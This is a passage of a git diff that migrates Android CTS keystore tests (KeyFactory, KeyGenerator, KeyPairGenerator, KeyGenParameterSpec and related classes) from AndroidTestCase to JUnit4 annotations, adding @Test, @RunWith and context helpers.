     public void testNullPrivateKeyArgumentsFail()
             throws KeyChainException, InterruptedException {
         try {
@@ -41,6 +59,7 @@
         }
     }
 
+    @Test
     public void testNullPrivateKeyAliasArgumentFails()
             throws KeyChainException, InterruptedException {
         try {
@@ -51,6 +70,7 @@
         }
     }
 
+    @Test
     public void testNullPrivateKeyContextArgumentFails()
             throws KeyChainException, InterruptedException {
         try {
@@ -68,6 +88,7 @@
      * hardware/libhardware/include/hardware/keymaster.h and the associated
      * tests in hardware/libhardware/tests/keymaster/
      */
+    @Test
     public void testIsBoundKeyAlgorithm_RequiredAlgorithmsSupported() throws Exception {
         if (isLeanbackOnly()) {
             KeyChain.isBoundKeyAlgorithm("RSA");
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyFactoryTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyFactoryTest.java
index fb853c9..8c6759d 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyFactoryTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyFactoryTest.java
@@ -16,13 +16,24 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.keystore.cts.R;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
-import android.keystore.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.InputStream;
 import java.security.InvalidKeyException;
@@ -33,6 +44,8 @@
 import java.security.NoSuchProviderException;
 import java.security.PrivateKey;
 import java.security.Provider;
+import java.security.Provider.Service;
+import java.security.PublicKey;
 import java.security.Security;
 import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAPublicKey;
@@ -44,8 +57,6 @@
 import java.security.spec.RSAPrivateKeySpec;
 import java.security.spec.RSAPublicKeySpec;
 import java.security.spec.X509EncodedKeySpec;
-import java.security.Provider.Service;
-import java.security.PublicKey;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Date;
@@ -57,7 +68,8 @@
 import javax.crypto.SecretKey;
 import javax.crypto.spec.SecretKeySpec;
 
-public class KeyFactoryTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class KeyFactoryTest {
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_PROVIDER_NAME;
 
     private static final String[] EXPECTED_ALGORITHMS = {
@@ -65,6 +77,11 @@
         "RSA",
     };
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected KeyFactory algorithms.
         // We don't care whether the algorithms are exposed via aliases, as long as canonical names
@@ -77,6 +94,9 @@
         Set<String> actualAlgsLowerCase = new HashSet<String>();
         Set<String> expectedAlgsLowerCase = new HashSet<String>(
                 Arrays.asList(TestUtils.toLowerCase(EXPECTED_ALGORITHMS)));
+        // XDH is also a supported algorithm, but not available for other tests as the keys
+        // generated with it have more limited set of uses.
+        expectedAlgsLowerCase.add("xdh");
         for (Service service : services) {
             if ("KeyFactory".equalsIgnoreCase(service.getType())) {
                 String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
@@ -88,6 +108,7 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testGetKeySpecWithKeystorePrivateKeyAndKeyInfoReflectsAllAuthorizations()
             throws Exception {
         Date keyValidityStart = new Date(System.currentTimeMillis() - TestUtils.DAY_IN_MILLIS);
@@ -151,6 +172,7 @@
         }
     }
 
+    @Test
     public void testGetKeySpecWithKeystorePublicKeyRejectsKeyInfo()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -170,6 +192,7 @@
         }
     }
 
+    @Test
     public void testGetKeySpecWithKeystorePrivateKeyRejectsTransparentKeySpecAndEncodedKeySpec()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -204,6 +227,7 @@
         }
     }
 
+    @Test
     public void testGetKeySpecWithKeystorePublicKeyAcceptsX509EncodedKeySpec()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -224,6 +248,7 @@
         }
     }
 
+    @Test
     public void testGetKeySpecWithKeystorePublicKeyAcceptsTransparentKeySpec()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -257,6 +282,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyWithNullKeyThrowsInvalidKeyException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -271,6 +297,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyRejectsNonAndroidKeystoreKeys() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -286,6 +313,7 @@
         }
     }
 
+    @Test
     public void testTranslateKeyAcceptsAndroidKeystoreKeys() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -303,6 +331,7 @@
         }
     }
 
+    @Test
     public void testGeneratePrivateWithNullSpecThrowsInvalidKeySpecException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -317,6 +346,7 @@
         }
     }
 
+    @Test
     public void testGeneratePublicWithNullSpecThrowsInvalidKeySpecException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -331,6 +361,7 @@
         }
     }
 
+    @Test
     public void testGeneratePrivateRejectsPKCS8EncodedKeySpec() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             int resId;
@@ -359,6 +390,7 @@
         }
     }
 
+    @Test
     public void testGeneratePublicRejectsX509EncodedKeySpec() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             int resId;
@@ -387,6 +419,7 @@
         }
     }
 
+    @Test
     public void testGeneratePrivateRejectsTransparentKeySpec() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             int resId;
@@ -416,6 +449,7 @@
         }
     }
 
+    @Test
     public void testGeneratePublicRejectsTransparentKeySpec() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             int resId;
@@ -445,6 +479,7 @@
         }
     }
 
+    @Test
     public void testGeneratePrivateAndPublicRejectKeyInfo() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
index 2cda759..de4dbb6 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGenParameterSpecTest.java
@@ -16,6 +16,14 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import static org.testng.Assert.assertThrows;
 
 import android.os.Process;
@@ -35,13 +43,16 @@
 import javax.crypto.KeyGenerator;
 import javax.security.auth.x500.X500Principal;
 
-public class KeyGenParameterSpecTest extends TestCase {
+import org.junit.Test;
+
+public class KeyGenParameterSpecTest {
 
     private static final X500Principal DEFAULT_CERT_SUBJECT = new X500Principal("CN=fake");
     private static final BigInteger DEFAULT_CERT_SERIAL_NUMBER = new BigInteger("1");
     private static final Date DEFAULT_CERT_NOT_BEFORE = new Date(0L); // Jan 1 1970
     private static final Date DEFAULT_CERT_NOT_AFTER = new Date(2461449600000L); // Jan 1 2048
 
+    @Test
     public void testDefaults() {
         // Set only the mandatory parameters and assert values returned by getters.
 
@@ -76,6 +87,7 @@
         assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, spec.getMaxUsageCount());
     }
 
+    @Test
     public void testSettersReflectedInGetters() {
         // Set all parameters to non-default values and then assert that getters reflect that.
 
@@ -142,6 +154,7 @@
         assertEquals(maxUsageCount, spec.getMaxUsageCount());
     }
 
+    @Test
     public void testNullAliasNotPermitted() {
         try {
             new KeyGenParameterSpec.Builder(null, KeyProperties.PURPOSE_ENCRYPT);
@@ -149,6 +162,7 @@
         } catch (NullPointerException expected) {}
     }
 
+    @Test
     public void testEmptyAliasNotPermitted() {
         try {
             new KeyGenParameterSpec.Builder("", KeyProperties.PURPOSE_ENCRYPT);
@@ -156,6 +170,7 @@
         } catch (IllegalArgumentException expected) {}
     }
 
+    @Test
     public void testSetKeyValidityEndDateAppliesToBothEndDates() {
         Date date = new Date(System.currentTimeMillis() + 555555);
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
@@ -166,6 +181,7 @@
         assertEquals(date, spec.getKeyValidityForConsumptionEnd());
     }
 
+    @Test
     public void testSetUserAuthenticationValidityDurationSecondsValidityCheck() {
         KeyGenParameterSpec.Builder builder = new KeyGenParameterSpec.Builder("alias", 0);
         try {
@@ -194,6 +210,7 @@
         } catch (IllegalArgumentException expected) {}
     }
 
+    @Test
     public void testImmutabilityViaSetterParams() {
         // Assert that all mutable parameters provided to setters are copied to ensure that values
         // returned by getters never change.
@@ -279,6 +296,7 @@
                 Arrays.asList(spec.getSignaturePaddings()));
     }
 
+    @Test
     public void testImmutabilityViaGetterReturnValues() {
         // Assert that none of the mutable return values from getters modify the state of the spec.
 
@@ -346,6 +364,7 @@
      * Test that generating a key with UID throws an exception since CTS doesn't have the necessary
      * permissions.
      */
+    @Test
     public void testBuilderSetUidGenerateKeyThrowsException() throws Exception {
         KeyGenerator keyGenerator = KeyGenerator.getInstance(
                 KeyProperties.KEY_ALGORITHM_HMAC_SHA256, "AndroidKeyStore");
@@ -356,6 +375,7 @@
         assertThrows(ProviderException.class, keyGenerator::generateKey);
     }
 
+    @Test
     public void testIllegalMaxUsageCountNotPermitted() {
         try {
             new KeyGenParameterSpec.Builder("LimitedUseKey", KeyProperties.PURPOSE_ENCRYPT)
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
index 6d9b33a..bc99b75 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyGeneratorTest.java
@@ -16,12 +16,21 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.google.common.collect.ObjectArrays;
 
 import junit.framework.TestCase;
@@ -46,8 +55,11 @@
 import javax.crypto.KeyGenerator;
 import javax.crypto.SecretKey;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class KeyGeneratorTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class KeyGeneratorTest {
     private static final String EXPECTED_PROVIDER_NAME = TestUtils.EXPECTED_PROVIDER_NAME;
 
     static String[] EXPECTED_ALGORITHMS = {
@@ -86,6 +98,11 @@
     static final int[] AES_STRONGBOX_SUPPORTED_KEY_SIZES = new int[] {128, 256};
     static final int[] DES_SUPPORTED_KEY_SIZES = new int[] {168};
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected KeyGenerator
         // algorithms. We don't care whether the algorithms are exposed via aliases, as long as
@@ -109,6 +126,7 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testGenerateWithoutInitThrowsIllegalStateException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -123,6 +141,7 @@
         }
     }
 
+    @Test
     public void testInitWithKeySizeThrowsUnsupportedOperationException() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -138,6 +157,7 @@
         }
     }
 
+    @Test
     public void testInitWithKeySizeAndSecureRandomThrowsUnsupportedOperationException()
             throws Exception {
         SecureRandom rng = new SecureRandom();
@@ -155,6 +175,7 @@
         }
     }
 
+    @Test
     public void testInitWithNullAlgParamsThrowsInvalidAlgorithmParameterException()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -170,6 +191,7 @@
         }
     }
 
+    @Test
     public void testInitWithNullAlgParamsAndSecureRandomThrowsInvalidAlgorithmParameterException()
             throws Exception {
         SecureRandom rng = new SecureRandom();
@@ -186,6 +208,7 @@
         }
     }
 
+    @Test
     public void testInitWithAlgParamsAndNullSecureRandom()
             throws Exception {
         testInitWithAlgParamsAndNullSecureRandomHelper(false /* useStrongbox */);
@@ -213,6 +236,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnsupportedAlgParamsTypeThrowsInvalidAlgorithmParameterException()
             throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
@@ -228,6 +252,7 @@
         }
     }
 
+    @Test
     public void testDefaultKeySize() throws Exception {
         testDefaultKeySize(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -250,6 +275,7 @@
         }
     }
 
+    @Test
     public void testAesKeySupportedSizes() throws Exception {
         testAesKeySupportedSizesHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -301,6 +327,7 @@
     }
 
     // TODO: This test will fail until b/117509689 is resolved.
+    @Test
     public void testDESKeySupportedSizes() throws Exception {
         if (!TestUtils.supports3DES()) {
             return;
@@ -341,6 +368,7 @@
         }
     }
 
+    @Test
     public void testHmacKeySupportedSizes() throws Exception {
         testHmacKeySupportedSizesHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -405,6 +433,7 @@
         }
     }
 
+    @Test
     public void testHmacKeyOnlyOneDigestCanBeAuthorized() throws Exception {
         testHmacKeyOnlyOneDigestCanBeAuthorizedHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -479,6 +508,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownBlockModeFails() {
         testInitWithUnknownBlockModeFailsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -486,7 +516,7 @@
         }
     }
 
-    public void testInitWithUnknownBlockModeFailsHelper(boolean useStrongbox) {
+    private void testInitWithUnknownBlockModeFailsHelper(boolean useStrongbox) {
         for (String algorithm :
             useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
@@ -505,6 +535,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownEncryptionPaddingFails() {
         testInitWithUnknownEncryptionPaddingFailsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -531,6 +562,7 @@
         }
     }
 
+    @Test
     public void testInitWithSignaturePaddingFails() {
         testInitWithSignaturePaddingFailsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -556,6 +588,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownDigestFails() {
         testInitWithUnknownDigestFailsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -563,7 +596,7 @@
         }
     }
 
-    public void testInitWithUnknownDigestFailsHelper(boolean useStrongbox) {
+    private void testInitWithUnknownDigestFailsHelper(boolean useStrongbox) {
         for (String algorithm :
             useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
             try {
@@ -590,6 +623,7 @@
         }
     }
 
+    @Test
     public void testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFails() {
         testInitWithKeyAlgorithmDigestMissingFromAuthorizedDigestFailsHelper(
             false /* useStrongbox */);
@@ -636,6 +670,7 @@
         }
     }
 
+    @Test
     public void testInitRandomizedEncryptionRequiredButViolatedFails() throws Exception {
         testInitRandomizedEncryptionRequiredButViolatedFailsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -643,7 +678,7 @@
         }
     }
 
-    public void testInitRandomizedEncryptionRequiredButViolatedFailsHelper(boolean useStrongbox)
+    private void testInitRandomizedEncryptionRequiredButViolatedFailsHelper(boolean useStrongbox)
         throws Exception {
         for (String algorithm :
             useStrongbox ? EXPECTED_STRONGBOX_ALGORITHMS : EXPECTED_ALGORITHMS) {
@@ -663,6 +698,7 @@
         }
     }
 
+    @Test
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
         testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -730,6 +766,7 @@
         }
     }
 
+    @Test
     public void testLimitedUseKey() throws Exception {
         testLimitedUseKey(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
index d14f6d2..704d1957 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyInfoTest.java
@@ -16,10 +16,14 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import junit.framework.TestCase;
 
 import java.security.KeyFactory;
@@ -32,8 +36,13 @@
 import java.util.Arrays;
 import java.util.Date;
 
-public class KeyInfoTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@RunWith(AndroidJUnit4.class)
+public class KeyInfoTest {
+
+    @Test
     public void testImmutabilityViaGetterReturnValues() throws Exception {
         // Assert that none of the mutable return values from getters modify the state of the
         // instance.
@@ -103,6 +112,7 @@
         assertEquals(KeyProperties.UNRESTRICTED_USAGE_COUNT, remainingUsageCount);
     }
 
+    @Test
     public void testLimitedUseKey() throws Exception {
         Date keyValidityStartDate = new Date(System.currentTimeMillis() - 2222222);
         Date keyValidityEndDateForOrigination = new Date(System.currentTimeMillis() + 11111111);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
index 6004432..96e3bca 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorSpecTest.java
@@ -16,15 +16,26 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
 import android.security.KeyPairGeneratorSpec;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import java.math.BigInteger;
 import java.util.Date;
 
 import javax.security.auth.x500.X500Principal;
 
-public class KeyPairGeneratorSpecTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class KeyPairGeneratorSpecTest {
     private static final String TEST_ALIAS_1 = "test1";
 
     private static final X500Principal TEST_DN_1 = new X500Principal("CN=test1");
@@ -39,6 +50,11 @@
     @SuppressWarnings("deprecation")
     private static final Date NOW_PLUS_10_YEARS = new Date(NOW.getYear() + 10, 0, 1);
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testBuilder_Unencrypted_Success() throws Exception {
         KeyPairGeneratorSpec spec = new KeyPairGeneratorSpec.Builder(getContext())
                 .setAlias(TEST_ALIAS_1)
@@ -61,6 +77,7 @@
         assertFalse("encryption flag should not be on", spec.isEncryptionRequired());
     }
 
+    @Test
     public void testBuilder_NullContext_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(null);
@@ -69,6 +86,7 @@
         }
     }
 
+    @Test
     public void testBuilder_MissingAlias_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
@@ -82,6 +100,7 @@
         }
     }
 
+    @Test
     public void testBuilder_MissingSubjectDN_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
@@ -95,6 +114,7 @@
         }
     }
 
+    @Test
     public void testBuilder_MissingSerialNumber_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
@@ -108,6 +128,7 @@
         }
     }
 
+    @Test
     public void testBuilder_MissingStartDate_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
@@ -121,6 +142,7 @@
         }
     }
 
+    @Test
     public void testBuilder_MissingEndDate_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
@@ -134,6 +156,7 @@
         }
     }
 
+    @Test
     public void testBuilder_EndBeforeStart_Failure() throws Exception {
         try {
             new KeyPairGeneratorSpec.Builder(getContext())
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
index 5eac878..0773d7c 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyPairGeneratorTest.java
@@ -16,13 +16,22 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.keystore.cts.util.TestUtils;
 import android.security.KeyPairGeneratorSpec;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyInfo;
 import android.security.keystore.KeyProperties;
-import android.test.AndroidTestCase;
 import android.test.MoreAsserts;
 import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.util.HexDump;
 
@@ -79,7 +88,12 @@
 import libcore.javax.net.ssl.TestKeyManager;
 import libcore.javax.net.ssl.TestSSLContext;
 
-public class KeyPairGeneratorTest extends AndroidTestCase {
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class KeyPairGeneratorTest {
     private KeyStore mKeyStore;
 
     private CountingSecureRandom mRng;
@@ -127,14 +141,18 @@
         DEFAULT_KEY_SIZES.put("RSA", 2048);
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Before
+    public void setUp() throws Exception {
         mRng = new CountingSecureRandom();
         mKeyStore = KeyStore.getInstance("AndroidKeyStore");
         mKeyStore.load(null, null);
     }
 
+    @Test
     public void testAlgorithmList() {
         // Assert that Android Keystore Provider exposes exactly the expected KeyPairGenerator
         // algorithms. We don't care whether the algorithms are exposed via aliases, as long as
@@ -147,6 +165,11 @@
         Set<String> actualAlgsLowerCase = new HashSet<String>();
         Set<String> expectedAlgsLowerCase = new HashSet<String>(
                 Arrays.asList(TestUtils.toLowerCase(EXPECTED_ALGORITHMS)));
+
+        // XDH is also a supported algorithm, but not available for other tests as the keys
+        // generated with it have more limited set of uses.
+        expectedAlgsLowerCase.add("xdh");
+
         for (Service service : services) {
             if ("KeyPairGenerator".equalsIgnoreCase(service.getType())) {
                 String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
@@ -158,6 +181,7 @@
                 expectedAlgsLowerCase.toArray(new String[0]));
     }
 
+    @Test
     public void testInitialize_LegacySpec() throws Exception {
         @SuppressWarnings("deprecation")
         KeyPairGeneratorSpec spec = new KeyPairGeneratorSpec.Builder(getContext())
@@ -174,6 +198,7 @@
         getEcGenerator().initialize(spec, new SecureRandom());
     }
 
+    @Test
     public void testInitialize_ModernSpec() throws Exception {
         KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(
                 TEST_ALIAS_1,
@@ -186,6 +211,7 @@
         getEcGenerator().initialize(spec, new SecureRandom());
     }
 
+    @Test
     public void testInitialize_KeySizeOnly() throws Exception {
         try {
             getRsaGenerator().initialize(1024);
@@ -200,6 +226,7 @@
         }
     }
 
+    @Test
     public void testInitialize_KeySizeAndSecureRandomOnly()
             throws Exception {
         try {
@@ -215,6 +242,7 @@
         }
     }
 
+    @Test
     public void testDefaultKeySize() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -230,6 +258,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownBlockModeFails() {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -244,6 +273,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownEncryptionPaddingFails() {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -258,6 +288,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownSignaturePaddingFails() {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -272,6 +303,7 @@
         }
     }
 
+    @Test
     public void testInitWithUnknownDigestFails() {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -286,6 +318,7 @@
         }
     }
 
+    @Test
     public void testInitRandomizedEncryptionRequiredButViolatedFails() throws Exception {
         for (String algorithm : EXPECTED_ALGORITHMS) {
             try {
@@ -303,6 +336,7 @@
         }
     }
 
+    @Test
     public void testGenerateHonorsRequestedAuthorizations() throws Exception {
         testGenerateHonorsRequestedAuthorizationsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -373,6 +407,7 @@
     }
 
     @SuppressWarnings("deprecation")
+    @Test
     public void testGenerate_EC_LegacySpec() throws Exception {
         // There are three legacy ways to generate an EC key pair using Android Keystore
         // KeyPairGenerator:
@@ -522,6 +557,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
     }
 
+    @Test
     public void testGenerate_RSA_LegacySpec() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         generator.initialize(new KeyPairGeneratorSpec.Builder(getContext())
@@ -576,6 +612,7 @@
                 KeyProperties.SIGNATURE_PADDING_RSA_PKCS1);
     }
 
+    @Test
     public void testGenerate_ReplacesOldEntryWithSameAlias() throws Exception {
         replacesOldEntryWithSameAliasHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -641,6 +678,7 @@
         }
     }
 
+    @Test
     public void testGenerate_DoesNotReplaceOtherEntries() throws Exception {
         doesNotReplaceOtherEntriesHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -714,6 +752,7 @@
                 NOW_PLUS_10_YEARS);
     }
 
+    @Test
     public void testGenerate_EC_Different_Keys() throws Exception {
         testGenerate_EC_Different_KeysHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -743,6 +782,7 @@
         }
     }
 
+    @Test
     public void testGenerate_RSA_Different_Keys() throws Exception {
         testGenerate_RSA_Different_KeysHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -772,6 +812,7 @@
         }
     }
 
+    @Test
     public void testGenerate_EC_ModernSpec_Defaults() throws Exception {
         testGenerate_EC_ModernSpec_DefaultsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -815,6 +856,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
     }
 
+    @Test
     public void testGenerate_RSA_ModernSpec_Defaults() throws Exception {
         testGenerate_RSA_ModernSpec_DefaultsHelper(false /* useStrongbox */);
         if (TestUtils.hasStrongBox(getContext())) {
@@ -859,6 +901,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(keyInfo.getEncryptionPaddings()));
     }
 
+    @Test
     public void testGenerate_EC_ModernSpec_AsCustomAsPossible() throws Exception {
         KeyPairGenerator generator = getEcGenerator();
         Date keyValidityStart = new Date(System.currentTimeMillis());
@@ -925,6 +968,7 @@
     // This is a reworking of the generic test to still be as custom as possible while
     // respecting the spec constraints.
     // Test fails until the resolution of b/113276806
+    @Test
     public void testGenerate_EC_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
         if (!TestUtils.hasStrongBox(getContext())) {
             return;
@@ -991,6 +1035,7 @@
         assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    @Test
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossible() throws Exception {
         KeyPairGenerator generator = getRsaGenerator();
         Date keyValidityStart = new Date(System.currentTimeMillis());
@@ -1076,6 +1121,7 @@
     // This is a reworking of the generic test to still be as custom as possible while
     // respecting the spec constraints.
     // Test fails until the resolution of b/113276806
+    @Test
     public void testGenerate_RSA_ModernSpec_AsCustomAsPossibleStrongbox() throws Exception {
         if (!TestUtils.hasStrongBox(getContext())) {
             return;
@@ -1161,6 +1207,7 @@
         assertEquals(0, keyInfo.getUserAuthenticationValidityDurationSeconds());
     }
 
+    @Test
     public void testGenerate_EC_ModernSpec_UsableForTLSPeerAuth() throws Exception {
